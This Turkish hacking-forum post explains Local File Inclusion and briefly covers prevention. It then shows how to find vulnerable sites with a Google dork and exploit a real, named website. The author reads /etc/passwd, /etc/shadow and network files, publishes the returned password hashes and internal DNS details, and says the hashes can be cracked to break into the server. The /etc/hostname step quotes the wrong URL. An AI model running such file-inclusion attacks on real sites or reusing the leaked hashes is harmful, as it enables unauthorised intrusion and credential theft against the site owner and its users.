Selamlar sevgili TurkHackTeam üyeleri, bu konumda sizlere Local File Inclusion zaafiyetinden bahsedip, bu zaafiyeti kullanarak ne gibi verilere ulaşabileceğinizi anlatmaya çalışacağım.
LFI yani Local File Inclusion bir web güvenlik açığıdır. Bu açık sayesinde sunucuda bulunan herhangi bir dosyayı okuyabilir, değiştirebilir veya çalıştırabiliriz. Bu açığın temel sebebi site yönetimi veya yöneticisi tarafından verilerin düzgünce filtrelenip doğrulanmaması ve herhangi bir dosyanın direkt olarak içeriye aktarılmasından (include, require gibi fonksiyonlar ile) kaynaklıdır.
Örnek bir LFI durumunu şu şekilde açıklayabiliriz;
PHP:
<?php
$page = $_GET['page'];
include($page . '.php');
?>
Eğer ki sayfa yapısı bu şekilde ise URL yapısını manipüle ederek istediği sayfaya erişebilir. İletişim sayfasına gitmek istediğimizde URL şu şekilde olacaktır;
Kod:
http://denemesite.com/index.php?page=iletisim
LFI Zaafiyetini Nasıl Önleriz?
1. Kullanıcı Girdisinin Doğrulanması
Kullanıcı tarafından girilen dosya isimleri mutlaka bir filtreye sokulmalıdır. Sadece izin verilen dosya isimlerine gidilebilmelidir.
Bunu gerçekleştirmek için şu şekilde bir kod yazılabilir;
1. Kullanıcı Girdisinin Doğrulanması
Kullanıcı tarafından girilen dosya isimleri mutlaka bir filtreye sokulmalıdır. Sadece izin verilen dosya isimlerine gidilebilmelidir.
Bunu gerçekleştirmek için şu şekilde bir kod yazılabilir;
PHP:
$allowed_pages = ['anasayfa', 'hakkimizda', 'iletisim'];
if (in_array($_GET['page'], $allowed_pages)) {
include($_GET['page'] . '.php');
} else {
echo "Bu sayfayı görmek için yetkiniz yok!";
}
2. URL Temizleme
Girilen dosya isimlerindeki ../ veya .. gibi karakterleri engelleyebiliriz.
3. Gerçek Dosya Yolları
Dinamik olarak dosya eklemek yerine, dosya yollarını sabitleyebilir ve sadece belirli dosyaların kullanılmasını sağlayabiliriz.
4. Sunucu Yapılandırma
Sunucumuzdaki yerel dosya sistemine erişimini sınırlandırarak, önemli dosyalara erişim izinlerini kontrol edebiliriz.
PHP’de open_basedir ve disable_functions direktiflerini kullanarak, dosya dahil etme fonksiyonlarını sınırlandırabiliriz.
Peki gelelim asıl konuya, LFI zaafiyetini nasıl değerlendirebiliriz?
Bunun için öncelikli olarak Google'da ufak bir dork araması yapıyoruz, ben çok basit olması açısından index.php?page= şeklinde arattım.
Çıkan ilk sayfaya girip sırayla denemeye başladım.
1. /etc/passwd
Bu dizin sayesinde kullanıcıların bilgilerini görebilir ve bu bilgilerle bir Bruteforce saldırısı gerçekleştirebilirim.
URL:
https://www.ravagedband.com/index.php?page=/etc/passwd
Çıktı:
Kod:
root:x:0:0:root:/root:/bin/false ravagedband.com:x:53224:53224:ravagedband.com:/home/ravagedband.com:/bin/false
2. /etc/shadow
Bu dizin sayesinde kullanıcıların şifrelerinin hash halini görebilir ve bunları şifre kırıcılar yardımıyla kırdıktan sonra sisteme girebilirim.
URL:
https://www.ravagedband.com/index.php?page=/etc/shadow
Çıktı:
Kod:
ops:$1$LBFm$s2euEaNrozNuVen/fGVRj0:13064:0:99999:7::::support:$1$jRpm$d5WBSoc6c.jkAPBG5RFXc1:13064:0:99999:7::::toor:$1$Ux92$2dtHAOwocjlkhs/xwKRKz.:13064:0:99999:7::::helpdesk:$1$Df1y$5m3iZxLKnjX9MDAs3MljJ/:13064:0:99999:7::::admin:$1$mFOR$Slfj943C.MuQz9s3M8J6C0:13064:0:99999:7::::system:$1$Sszb$uFp7Kgkt06PVhdXCKn8y40:13064:0:99999:7::::cleanup:$1$oJ6t$VSzxsG6nuEr7wgWCLFsqD1:13064:0:99999:7::::recover:$1$6Z6K$Sc9OQ6TnY3FDYeqE.E8Aw0:13064:0:99999:7::::sup:$1$wW5e$BSR.XshymKTyuW1LsABpO1:13064:0:99999:7::::remote:$1$xYjc$eIqKNslONGB.ZBOEn3cyl0:13064:0:99999:7::::safe:$1$a+Tm$FCFvtO13n69N.Ee6gTZxm0:13064:0:99999:7::::noc:$1$WXSI$/NQjcNBJCiSjcHgJA1PAz1:13064:0:99999:7::::ssladmin:$1$s74D$QJJB1kVVnz09VXh.tp9640:13064:0:99999:7::::database:$1$iT3a$Z/QnO6u4S84KT2lImkpcW1:13064:0:99999:7::::onecom:$1$+2i9$HBk3s0VZ612q1nIJ/zTjI0:13064:0:99999:7::::staff:$1$egIQ$jZQZbOwSXbC3ivPL7wJ9n/:13064:0:99999:7::::guest:$1$W4Qw$gtYKhT6C4FAmqN.98IoLC0:13064:0:99999:7::::
3. /etc/hosts
Bu dizin sayesinde DNS atamaları yapılır, hangi IP hangi DNS'e yönlendirilirecekse bu dosyada belirtilir. Bu dosya üzerinde oynarak DNS Poisoning saldırısı yapabilirim.
URL:
https://www.ravagedband.com/index.php?page=/etc/hosts
Çıktı:
Kod:
127.0.0.1 localhost::1 localhost ip6-localhost ip6-loopbackff02::1 ip6-allnodesff02::2 ip6-allrouters
4. /etc/hostname
Bu dizin sayesinde sunucunun ana bilgisayarının adını öğrenebilirim.
URL:
https://www.ravagedband.com/index.php?page=/etc/hosts
Çıktı:
Kod:
onecom
5. /etc/resolv.conf
Bu dizin sayesinde sistem tarafından kullanılan DNS sunucuları tanımlanır.
URL:
https://www.ravagedband.com/index.php?page=/etc/resolv.conf
Çıktı:
Kod:
domain cst.webpod10-cph3.one.comnameserver 10.41.62.5nameserver 10.41.62.4options rotate timeout:1
Denediğimiz sitede yalnızca bu verilere ulaşabiliyoruz.
Bunların dışında /etc/network/interfaces ile ağ yapılandırma ayarlarını, /etc/ssh/sshd_config ile SSH yapılandırmasını, /etc/fstab ile sistemdeki disk yapısını, /etc/crontab ile zamanlanmış görevleri, /etc/apt/sources.list ile paket yöneticisinin hangi yazılımları kullandığını, /etc/sudoers ile hangi kullanıcıların sudo komutunu kullanabildiğini görebilirsiniz.
Son düzenleme: